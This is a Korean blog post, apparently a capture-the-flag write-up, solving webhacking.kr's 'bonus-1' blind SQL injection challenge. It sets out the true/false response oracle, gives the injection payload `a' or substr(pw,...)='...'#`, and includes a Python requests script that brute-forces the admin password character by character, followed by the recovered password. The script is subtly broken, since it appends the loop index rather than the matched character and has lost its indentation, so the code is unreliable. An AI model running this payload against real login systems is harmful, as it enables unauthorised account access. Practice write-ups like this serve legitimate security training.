이번 문제는 Blind SQL Injection이다. 서버측 코드를 모르기 때문에 로그인 시 반환되는 결과를 보고 비밀번호를 구해야 한다. 쿼리가 참을 반환할때와 거짓을 반환할때 반응이 다를 것이다.
먼저 guest guest를 입력해본다.
guest가 존재하는 것 같다.
guest의 비밀번호가 guest인 것을 알았으므로 이를 가지고 테스트를 해볼 것이다. 먼저, substr 함수를 이용하면 비밀번호를 한 글자 씩 비교할 수 있다.
그전에 먼저 고의로 틀린 비밀번호를 입력해보니 다음과 같은 결과를 반환한다. 쿼리문이 거짓이 되었을 때 나오는 결과인 것 같다. 다음은 싱글쿼터를 탈출해서 쿼리문을 참으로 만들어보자.
쿼리문이 참이 될 경우는 'wrong password' 라는 문자열을 반환하고 있다. 이로써 쿼리문의 참, 거짓 결과에 따라 반환되는 문자열이 다름을 알았으므로 substr을 이용해 admin 비밀번호를 한 문자씩 비교할 수 있게 됐다.
파이썬을 이용해서 스크립트를 작성했다.
import requests
import string
param = {
"id": "admin",
"pw": ""
}
ch = string.punctuation + string.ascii_lowercase + string.digits
query = "a' or substr(pw, {num}, 1)='{i}'#"
password = ''
for idx in range(1, 40):
for i in ch:
param["pw"] = query.format(num=idx, i=i)
result = requests.get('https://webhacking.kr/challenge/bonus-1', params=param)
if 'wrong password' in result.text:
password += idx
print(password)
guest의 비밀번호도 중복으로 출력되므로 guest를 제외한 문자열만 가져오자
there_is_no_rest_for_the_white_angel
구한 비밀번호를 입력하면
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-46 write up (0) | 2024.03.17 |
---|---|
[Webhacking.kr] old-8 write up (0) | 2024.03.12 |
[Webhacking.kr] old-27 write up (0) | 2024.03.01 |
[Webhacking.kr] old-23 write up (5) | 2024.03.01 |
[Webhacking.kr] old-25 write up (2) | 2024.02.27 |